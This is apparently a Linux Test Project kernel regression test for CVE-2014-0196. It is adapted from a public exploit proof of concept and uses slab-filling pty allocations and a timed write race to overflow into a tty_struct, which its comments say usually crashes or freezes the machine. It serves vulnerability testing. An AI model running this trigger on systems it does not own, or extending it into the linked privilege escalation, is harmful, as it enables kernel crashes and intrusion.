1 // SPDX-License-Identifier: GPL-2.0-or-later
2 /*
3 * Copyright (c) 2017 Richard Palethorpe <rpalethorpe@suse.com>
4 * Original POC by Matthew Daley <mattd@bugfuzz.com>
5 */
6 /*
7 * This test attempts to cause a buffer overflow using the race condition
8 * described in CVE-2014-0196. If the test is successful in causing an
9 * overflow it will most likely result in an immediate Oops, restart or
10 * freeze. However if it overwrites memory not accessed during the test then
11 * it could happen at a later time or not at all which is more likely if SLAB
12 * randomization has been implemented. However as it currently stands, the test
13 * usually crashes as soon as the delay has been calibrated.
14 *
15 * To maximise the chances of the buffer overflow doing immediate detectable
16 * damage the SLAB filler sockets and ioctls from the original exploit POC
17 * have been kept even though they are not strictly necessary to reproduce the
18 * bug.
19 *
20 * Further details:
21 * see linux commit 4291086b1f081b869c6d79e5b7441633dc3ace00
22 * privilege escalation POC https://www.exploit-db.com/exploits/33516/
23 */
24
25 #include <pty.h>
26 #include <stdio.h>
27 #include <string.h>
28 #include <termios.h>
29 #include <limits.h>
30
31 #include "tst_test.h"
32 #include "tst_timer.h"
33 #include "tst_safe_pthread.h"
34
35 #include "tst_fuzzy_sync.h"
36
37 #define ONEOFF_ALLOCS 200
38 #define RUN_ALLOCS 30
39 #define BUFLEN 512
40
41 static volatile int master_fd, slave_fd;
42 static int filler_ptys[ONEOFF_ALLOCS * 2];
43 static int target_ptys[RUN_ALLOCS * 2];
44 static char buf[BUFLEN];
45
46 static void *overwrite_thread_fn(void *);
47 static struct tst_fzsync_pair fzsync_pair;
48
create_pty(int * amaster,int * aslave)49 static void create_pty(int *amaster, int *aslave)
50 {
51 if (openpty(amaster, aslave, NULL, NULL, NULL) == -1)
52 tst_brk(TBROK | TERRNO, "pty creation failed");
53 }
54
setup(void)55 static void setup(void)
56 {
57 int i;
58
59 fzsync_pair.exec_loops = 50000;
60
61 tst_fzsync_pair_init(&fzsync_pair);
62
63 for (i = 0; i < ONEOFF_ALLOCS; i++) {
64 create_pty(&filler_ptys[i],
65 &filler_ptys[i + ONEOFF_ALLOCS]);
66 }
67 }
68
overwrite_thread_fn(void * p LTP_ATTRIBUTE_UNUSED)69 static void *overwrite_thread_fn(void *p LTP_ATTRIBUTE_UNUSED)
70 {
71 while(tst_fzsync_run_b(&fzsync_pair)) {
72 tst_fzsync_start_race_b(&fzsync_pair);
73 SAFE_WRITE(0, slave_fd, buf, BUFLEN - 1);
74 SAFE_WRITE(0, slave_fd, buf, BUFLEN - 1);
75 SAFE_WRITE(0, slave_fd, buf, BUFLEN);
76 tst_fzsync_end_race_b(&fzsync_pair);
77 }
78 return 0;
79 }
80
run(void)81 static void run(void)
82 {
83 struct termios t;
84 int j;
85
86 tst_res(TINFO, "Attempting to overflow into a tty_struct...");
87
88 tst_fzsync_pair_reset(&fzsync_pair, overwrite_thread_fn);
89 while (tst_fzsync_run_a(&fzsync_pair)) {
90 create_pty((int *)&master_fd, (int *)&slave_fd);
91
92 for (j = 0; j < RUN_ALLOCS; j++)
93 create_pty(&target_ptys[j],
94 &target_ptys[j + RUN_ALLOCS]);
95 SAFE_CLOSE(target_ptys[RUN_ALLOCS / 2]);
96 SAFE_CLOSE(target_ptys[RUN_ALLOCS / 2 + RUN_ALLOCS]);
97
98 SAFE_WRITE(0, slave_fd, buf, 1);
99
100 tcgetattr(master_fd, &t);
101 t.c_oflag &= ~OPOST;
102 t.c_lflag |= ECHO;
103 tcsetattr(master_fd, TCSANOW, &t);
104
105 tst_fzsync_start_race_a(&fzsync_pair);
106 SAFE_WRITE(0, master_fd, "A", 1);
107 tst_fzsync_end_race_a(&fzsync_pair);
108
109 for (j = 0; j < RUN_ALLOCS; j++) {
110 if (j == RUN_ALLOCS / 2)
111 continue;
112
113 ioctl(target_ptys[j], 0xdeadbeef);
114 ioctl(target_ptys[j + RUN_ALLOCS], 0xdeadbeef);
115 SAFE_CLOSE(target_ptys[j]);
116 SAFE_CLOSE(target_ptys[j + RUN_ALLOCS]);
117 }
118
119 ioctl(master_fd, 0xdeadbeef);
120 ioctl(slave_fd, 0xdeadbeef);
121 SAFE_CLOSE(master_fd);
122 SAFE_CLOSE(slave_fd);
123 }
124
125 tst_res(TPASS, "Nothing bad happened, probably.");
126 }
127
cleanup(void)128 static void cleanup(void)
129 {
130 int i;
131
132 tst_fzsync_pair_cleanup(&fzsync_pair);
133
134 for (i = 0; i < ONEOFF_ALLOCS * 2; i++)
135 close(filler_ptys[i]);
136 close(master_fd);
137 close(slave_fd);
138 }
139
140 static struct tst_test test = {
141 .setup = setup,
142 .cleanup = cleanup,
143 .test_all = run,
144 .tags = (const struct tst_tag[]) {
145 {"linux-git", "4291086b1f08"},
146 {"CVE", "2014-0196"},
147 {}
148 }
149 };
150